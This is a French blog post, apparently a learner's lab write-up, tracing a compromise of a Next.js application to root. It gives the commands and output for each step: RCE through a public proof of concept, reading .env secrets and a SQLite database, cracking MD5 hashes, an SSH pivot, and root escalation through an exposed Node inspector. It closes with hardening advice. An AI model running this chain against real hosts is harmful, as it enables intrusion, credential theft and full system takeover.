Post

react2shell_exploitation-fr

react2shell_exploitation-fr

React2Shell : retour d’expérience d’une compromission web vers root

Contexte de mission

En tant que simple apprenant, j’ai récemment eu à traiter un cas pratique où une application React/Next.js a servi de point d’entrée jusqu’à une compromission système complète.

Le piège classique est de traiter React comme un simple frontend. Sur Next.js, c’est incomplet : une partie critique s’exécute côté serveur. Quand cette couche est vulnérable, une requête HTTP peut devenir une exécution de commande système.

Ce retour d’expérience documente la chaîne observée :

  • surface Next.js exposée,
  • exécution de commande distante,
  • pillage applicatif,
  • pivot SSH,
  • élévation root via Node inspector.

Toutes les données sensibles sont volontairement masquées, y compris dans les sorties de commandes.

Ce que j’observe en début de mission

Objectif initial : identifier une porte d’entrée réaliste sans hypothèse forte.

1
nmap -sC -sV -p- -T4 <TARGET_IP>

Sortie utile :

1
2
22/tcp   open  ssh
3000/tcp open  http

Le service web sur 3000 renvoie X-Powered-By: Next.js.

Lecture opérationnelle :

  • SSH nécessite des credentials.
  • Le web est l’attaque path la plus probable.

Qualification de la surface Next.js

Je valide rapidement le comportement applicatif avant exploitation.

1
2
3
curl -i -s http://<TARGET_IP>:3000/ | head -n 40
curl -s http://<TARGET_IP>:3000/robots.txt
curl -s http://<TARGET_IP>:3000/sitemap.xml

Constat :

  • app Next.js confirmée,
  • peu de routes publiques utiles,
  • pas de leak évident immédiat.

Décision pentest : tenter une voie RCE connue du runtime Next.js dans un cadre contrôlé.

Première exécution de commande (web to shell)

J’utilise le PoC NextRCE pour vérifier l’exploitabilité réelle.

1
2
3
git clone https://github.com/ToritoIO/NextRCE.git
cd NextRCE
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "id"

Sortie observée :

1
2
[VULN] ... RCE SUCCESS
uid=<APP_UID>(<APP_USER>) gid=<APP_GID>(<APP_GROUP>) groups=<APP_GID>(<APP_GROUP>)

Ce que ça signifie côté risque :

  • ce n’est plus une faille “frontend”,
  • on a du code execution sur l’hôte,
  • contexte initial limité à l’utilisateur de service.

Post-exploitation utile : chercher l’impact, pas juste “avoir un shell”

En mission, la valeur est ici : prouver ce qu’un attaquant peut réellement compromettre.

Localiser l’application et ses secrets

1
2
3
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "pwd"
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "ls -la <APP_PATH>"
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "cat <APP_PATH>/.env"

Extraits de sortie (masqués) :

1
2
3
4
5
6
7
8
<APP_PATH>
...
.env
<APP_DB_FILE>
...
DB_PATH=<APP_PATH>/<APP_DB_FILE>
SENSOR_API_KEY=<REDACTED>
ALERT_WEBHOOK=https://<REDACTED>/webhook

Exploiter la base SQLite embarquée

1
2
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "sqlite3 <APP_PATH>/<APP_DB_FILE> .tables"
python3 nextrce.py -u http://<TARGET_IP>:3000/ -c "strings <APP_PATH>/<APP_DB_FILE> | head -n 120"

Sortie utile :

1
2
3
4
<LOG_TABLE>  <USERS_TABLE>
...
<MD5_HASH_1>
<MD5_HASH_2>

Analyse vuln research :

  • stockage d’identifiants faible,
  • données applicatives lisibles depuis le contexte compromis,
  • pivot credential probable.

Pivot identité : hash crack puis accès SSH

Je passe du compte applicatif au compte système.

1
2
3
printf '<MD5_HASH_1>\n<MD5_HASH_2>\n' > /tmp/<HASH_FILE>.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 /tmp/<HASH_FILE>.txt
john --show --format=raw-md5 /tmp/<HASH_FILE>.txt

Sortie :

1
<SYSTEM_USER>:<CRACKED_PASSWORD>

Connexion et validation :

1
sshpass -p '<CRACKED_PASSWORD>' ssh -o StrictHostKeyChecking=no <SYSTEM_USER>@<TARGET_IP> 'id && whoami && hostname'

Sortie :

1
2
3
uid=<USER_UID>(<SYSTEM_USER>) gid=<USER_GID>(<SYSTEM_GROUP>)
<SYSTEM_USER>
<HOSTNAME>

Ce point est critique en restitution :

  • réutilisation de credentials entre couches app/système,
  • passage d’un RCE web à un accès système interactif stable.

Élévation root : interface debug Node exposée localement

Le différenciateur fort de ce cas est ici : un process root Node lancé avec --inspect.

Détection

1
2
sshpass -p '<CRACKED_PASSWORD>' ssh <SYSTEM_USER>@<TARGET_IP> "ps auxww | grep -E 'node|inspect|monitor' | grep -v grep"
sshpass -p '<CRACKED_PASSWORD>' ssh <SYSTEM_USER>@<TARGET_IP> "ss -lntp | grep 9229"

Sortie clé :

1
2
root ... /usr/bin/node --inspect=127.0.0.1:9229 <ROOT_NODE_SCRIPT>
LISTEN 0 511 127.0.0.1:9229 ...

Validation endpoint debug

1
sshpass -p '<CRACKED_PASSWORD>' ssh <SYSTEM_USER>@<TARGET_IP> "curl -s http://127.0.0.1:9229/json/list"

Sortie :

1
{"type":"node","title":"<ROOT_NODE_SCRIPT>","webSocketDebuggerUrl":"ws://127.0.0.1:9229/<UUID>"}

Exécution de commandes root via inspector

1
sshpass -p '<CRACKED_PASSWORD>' ssh -tt <SYSTEM_USER>@<TARGET_IP> 'node inspect 127.0.0.1:9229'

Dans le REPL inspector :

1
2
repl
process.mainModule.require('child_process').execSync('id').toString()

Sortie :

1
'uid=0(root) gid=0(root) groups=0(root)\n'

Lecture technique :

  • l’inspector donne le contrôle du runtime,
  • le runtime est root,
  • execSync hérite des privilèges root du process.

Chaîne d’attaque finale (résumé)

la chaîne d’attaque suit ce flux : reconnaissance des ports 22/3000, exploitation Next.js pour obtenir une RCE sur le compte de service, extraction locale de secrets (.env + SQLite), cassage de hash pour récupérer un mot de passe réutilisé, pivot SSH vers un utilisateur système, élévation locale via Node inspector root (127.0.0.1:9229), puis confirmation de l’exécution en tant que root.

Enseignements concrets

Une application React ne se limite pas à un risque frontend, car une RCE initiale même à faible privilège peut suffire à compromettre tout l’hôte, surtout si des interfaces de debug locales sont accessibles depuis un foothold interne, ce qui montre que la sévérité réelle provient du chaînage de plusieurs faiblesses et non d’un CVE isolé.

Recommandations actionnables

  • Mettre à jour Next.js et verrouiller les versions dépendances.
  • Supprimer tout --inspect en production, surtout sur process privilégiés.
  • Exécuter les services Node avec un compte dédié non-root.
  • Migrer les hash faibles vers argon2id ou bcrypt avec politique mot de passe robuste.
  • Éviter la réutilisation des credentials entre application et accès système.
  • Isoler et protéger les secrets (vault/KMS), pas de secrets exposés en lecture simple.

PS : Un retour d’expérience technique bien orienté . Les exemples de commandes sont fournis pour la reproduction en environnement autorisé de test uniquement. See you

This post is licensed under CC BY 4.0 by the author.